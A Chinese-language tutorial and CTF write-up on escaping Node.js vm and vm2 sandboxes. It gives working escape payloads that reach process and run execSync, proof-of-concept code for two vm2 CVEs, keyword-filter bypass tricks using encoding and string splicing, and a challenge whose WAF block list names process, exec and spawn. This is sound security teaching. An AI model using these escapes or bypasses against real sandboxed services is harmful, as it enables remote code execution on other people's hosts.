vm及vm2沙箱逃逸
沙箱
沙箱(sanbox)是一个用于隔绝沙箱内环境和宿主环境的代码执行环境.沙箱可以用于执行不受信任的代码或者运行程序.
如果沙箱的安全性不够,就会产生逃逸的情况,进而影响到宿主环境.这时候就是通过沙箱逃逸实行了RCE.
在Node.js中,我们可以使用vm
模块和vm2
模块创建沙箱.vm模块不严谨,比较容易被逃逸,vm2模块虽然防护比vm强一些,但是也产生过不少次逃逸.一般vm2被逃逸都是CVE漏洞.在实际题目中,一般都会采用vm或vm2沙箱配合一定waf进行防护.
其实在Node.js中有很多实现沙箱的方式,例如基于作用域的沙箱和基于Proxy的沙箱,但是这不在本文的讨论范围之内.
Node.js上下文
在Node.js中,作用域也被称为上下文.在Node.js中,全局变量是global
,global
下挂载了所有全局变量和一些内置函数和对象,例如console
,process
和require
.假设当前目录下存在两个包a.js和b.js,那么a.js和b.js不能访问彼此的变量,也就是这两个包是存在天然隔离的.只有使用require
将一个包中的模块引入到另一个包,才能实现功能的引用.而且这并不是把一个包中的所有变量和函数引入到另一个包,require只返回一个模块的导出对象,这取决于模块自身的 module.exports
或 exports
对象的设置.
值得注意的是,global
中的process
可以创建子进程并执行系统命令.因此我们在沙箱逃逸中主要目的是获取global下的process.
vm沙箱的实现
vm模块通过定义一个新的作用域作为沙箱,进而隔离沙箱外的变量和函数.接下来是一些vm的API
-
vm.Script
-
new vm.Script(code[, options])
: 创建一个预编译的Script对象,表示一段JavaScript代码。 -
script.runInContext([contextifiedSandbox[, options]])
: 在指定的上下文中执行预编译的脚本。 -
script.runInNewContext([sandbox[, options]])
: 创建一个新的上下文并在其中执行脚本。
-
-
vm.createContext([sandbox[, options]])
- 创建一个新的、独立的上下文(沙箱),可以包含预先定义的变量和函数。
-
vm.runInContext(code, contextifiedSandbox[, options])
- 直接在已存在的上下文中运行JavaScript代码。
-
vm.runInNewContext(code[, sandbox[, options]])
- 创建一个新的上下文并在其中运行JavaScript代码。
-
vm.runInThisContext(code[, options])
- 在当前上下文中运行JavaScript代码,代码可以直接访问当前作用域的变量。
-
vm.createScript(code[, options])
- (过时,从Node.js v0.12开始不再推荐使用)创建一个可执行的Script对象。
VM沙箱的逃逸
但是vm的沙箱建立思路是很不严谨的.我们可以通过this
获取到一个沙箱外的对象
为什么这对象是沙箱外的呢?这个对象里包含了沙箱里能访问的所有属性,但是这个对象是在沙箱外创建的.我们这样调用这个沙箱就会容易懂一些.
let vm = require('vm')
let sandbox = {};//在这里被创建
let context = vm.createContext(sandbox);
let code ="safecode"
let result = vm.runInContext(code, context);
console.log(result);
所以我们说这个对象属于沙箱外.接下来我们去找他的constructor
,也就是[Function: Object]
这表示Object
构造函数,所有用new Object
创建的对象的构造函数都是他.然后我们再去找他的构造函数,Object
构造函数的构造函数是Function
构造函数.有了Function
构造函数我们就可以通过利用构造函数定义立即执行函数进行任意代码执行了.
使用Function
构造函数定义一个函数,函数体为return process
并立即调用.然后利用这一个调用链
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
就可以执行任意系统命令了.
VM沙箱的特殊沙箱对象
有时vm的沙箱对象是一个没有任何原型的对象,这时候我们就不能从沙箱对象上获取一个沙箱外对象了,例如这个
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
let result = vm.runInContext(code, context);
console.log(result);
这里创建的沙箱对象是Object.create(null);
用Object的create的方法是一个创建对象的方法,传给他的参数是创建的对象的原型.这里的原型为null就代表创建出的对象没有任何原型.所以我们上一个提到的方法就不管用了.这里就需要用到另外一个Trick,就是使用arguments
属性获取沙箱外的对象.它提供了对函数调用时传入的所有参数的访问.arguments
有一个属性是callee
,他会返回正在执行的这个函数本身.caller
是一个函数的属性,他指向调用这个函数的函数.把arguments.callee.caller
合在一起,就表示调用这个函数的函数.写到这里你可能发现盲点了,如果在沙箱外有一个函数执行了沙箱内的一个函数,那么arguments.callee.caller
就能返回在沙箱外的这个函数,我们就能成功获取一个沙箱外的对象.接下来我们只需要故技重施,调用这个函数的构造函数就能为我们返回一个Function
构造函数.我们就能执行系统命令了.
基于这个思路,我们可以在沙箱内创建一个对象,改写他的toString()
方法,然后想办法在沙箱外找到一个能触发这个toString()
方法的函数,我们就成功逃逸了.这里是一个示范用的环境和payload
const vm = require('vm');
const evilscript =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
//cc获取到了调用他的函数console.log
const p = (cc.constructor.constructor('return process'))();
//这里通过获取构造函数获取了构造函数Function
//值得注意的是构造函数Function的构造函数还是他本身,所以这里多一个constructor无伤大雅
return p.mainModule.require('child_process').execSync('whoami').toString()
//同样的方法获取execSync函数并执行系统命令了
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(evilscript, context);
console.log('Hello ' + res)
//这里触发了a的toString()方法
//然后被改写的toString方法获取了
通过console.log
获取构造函数Function
但是凡事都有例外,如果在沙箱外没有能调用toString
方法,或者说找不到能重写并且在沙箱外被触发的函数的时候该怎么处理呢?
这个时候就要劫持Proxy代理了.
什么是Proxy代理?
Proxy可以实现对一个对象的包装,他的以获取外部对这个对象的操作,并选择性地拦截或处理这些请求.和Windows中的钩子有些类似
语法
let proxy = new Proxy(target, handler)
-
target
—— 是要包装的对象,可以是任何东西,包括函数。 -
handler
—— 代理配置:带有“钩子”(“traps”,即拦截操作的方法)的对象。比如get
钩子用于读取target
属性,set
钩子写入target
属性等等。
对 proxy
进行操作,如果在 handler
中存在相应的钩子,则它将运行,并且 Proxy 有机会对其进行处理,否则将直接对 target 进行处理。
-
get(target, prop, receiver)
: 当读取目标对象的属性时触发。如果尝试获取的目标对象上的某个属性,则这个钩子会被调用。 -
set(target, prop, value, receiver)
: 当尝试设置目标对象的属性值时触发。 -
has(target, prop)
: 当使用in
运算符检查对象是否含有某个属性时触发。 -
deleteProperty(target, prop)
: 当尝试删除目标对象的属性时触发。 -
ownKeys(target)
: 当获取目标对象自身的所有可枚举属性键时触发,例如在Object.keys()
、for...in
循环或其他需要列出对象所有属性的情况下。 -
getOwnPropertyDescriptor(target, prop)
: 当调用Object.getOwnPropertyDescriptor()
方法时触发,返回指定属性的属性描述符。 -
defineProperty(target, prop, desc)
: 当尝试通过Object.defineProperty()
或Object.defineProperties()
方法定义或修改属性时触发。 -
preventExtensions(target)
: 当调用Object.preventExtensions()
方法试图防止对象进一步扩展(添加新属性)时触发。 -
isExtensible(target)
: 当调用Object.isExtensible()
检查目标对象是否可扩展时触发。 -
getPrototypeOf(target)
: 当获取目标对象的原型(__proto__
或Object.getPrototypeOf()
)时触发。 -
setPrototypeOf(target, proto)
: 当尝试设置目标对象的原型(Object.setPrototypeOf()
)时触发。 -
apply(target, thisArg, args)
: 用于拦截函数调用,适用于代理的是函数对象。 -
construct(target, args, newTarget)
: 用于拦截new
操作符创建新实例的过程。
创建一个空的Proxy代理:
let target = {}
let proxy = new Proxy({} ,target)
proxy.a=5
console.log(proxy.a)
//stdout 5
由于没有钩子,proxy成为了target的一个透明包装.所以我们对proxy的操作直接转发给了我们改变了target的属性并且将其打印了出来.
但是如果在用proxy包装了一个对象之后直接访问这个对象的话就会绕过proxy直接对原对象操作.因此proxy安全性比较低.
我们在沙箱内给对象a
外包裹一个proxy代理,给代理设置一个钩子,这样只要有函数触发钩子就能获取到触发函数,进而实现沙箱逃逸.
const vm = require("vm");
const evalscript =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(evalscript, context);
console.log(res.abc)
如果沙箱外没有能获取返回值属性的函数或没有返回值的话,也可以用try
和catch
代码块进行RCE.原理就是throw一个proxy,让catch
返回错误信息的模块获取throw出的proxy中的属性进行RCE.
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
vm2逃逸
CVE-2019-10761
该漏洞要求vm2版本<=3.6.10
poc
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
CVE-2021-23449
poc
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
另外的poc
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
正则过滤绕过
大小写绕过
js是一门对大小写敏感的语言,如果正则没有忽略大小写的话,我们就可以利用大小写进行绕过.
-
转换为小写:
-
toLowerCase()
: 此方法用于将字符串中的所有字符转换为小写。
Javascript
1let str = "Hello, WORLD!"; 2let lowerCaseStr = str.toLowerCase(); // "hello, world!"
-
-
转换为大写:
-
toUpperCase()
: 此方法用于将字符串中的所有字符转换为大写。
Javascript
1let str = "Hello, WORLD!"; 2let upperCaseStr = str.toUpperCase(); // "HELLO, WORLD!"
-
过滤.
过滤了.
就不能用.
访问对象的属性了,访问对象的属性还可以用[]
,就像这样
关键字绕过
拼接字符串绕过
+
拼接
> require('child_process')["ex"+"ec"]
[Function: exec]
concat
拼接
> require('child_process')["ex".concat("ec")]
[Function: exec]
模板字符串绕过
> require('child_process')[`${`${`exe`}c`}`]
[Function: exec]
编码绕过
js的字符串可以直接进行十六进制编码
> require('child_process')["\x65\x78\x65\x63\x53\x79\x6e\x63"]
[Function: execSync]
js也是支持unicode编码的
> require('child_process')["\u0065\u0078\u0065\u0063"]
[Function: exec]
还有base64
> require("child_process")[Buffer.from("ZXhlYw==","base64").toString()]
[Function: exec]
String.formCharCode
绕过
返回一个字符串,输入值是ASCII码
例题
[NKCTF2024]全世界最简单的CTF
访问/secret
路由给源码,没换行我让AI换了一下
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')));
app.get('/', function (req, res) {
res.sendFile(__dirname + '/public/home.html');
});
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code);
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
//只能一命通关
}
});
app.get('/secret', function (req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
});
app.listen(3000, () => {
console.log("listen on 3000");
});
有waf,正则过滤了/(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g
注意到有let sandbox = Object.create(null);
作为沙箱,可以使用arguments.callee.caller
获取外部函数进行逃逸,看到
try {
waf(code);
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
//只能一命通关
}
});
就要throw一个proxy对象出去让catch抓到,再在console.log里获取e的属性进行RCE.这里需要进行一些绕过.这里使用的是String.fromCharCode()
方法,可以把输入的十进制ASCII码转化为字符串,返回值为字符串.搭配一个模板字符串进行绕过.例如function
可以用`${`${`functio`}n`} `绕过,因为没有回显,可以用curl
把回显带出来.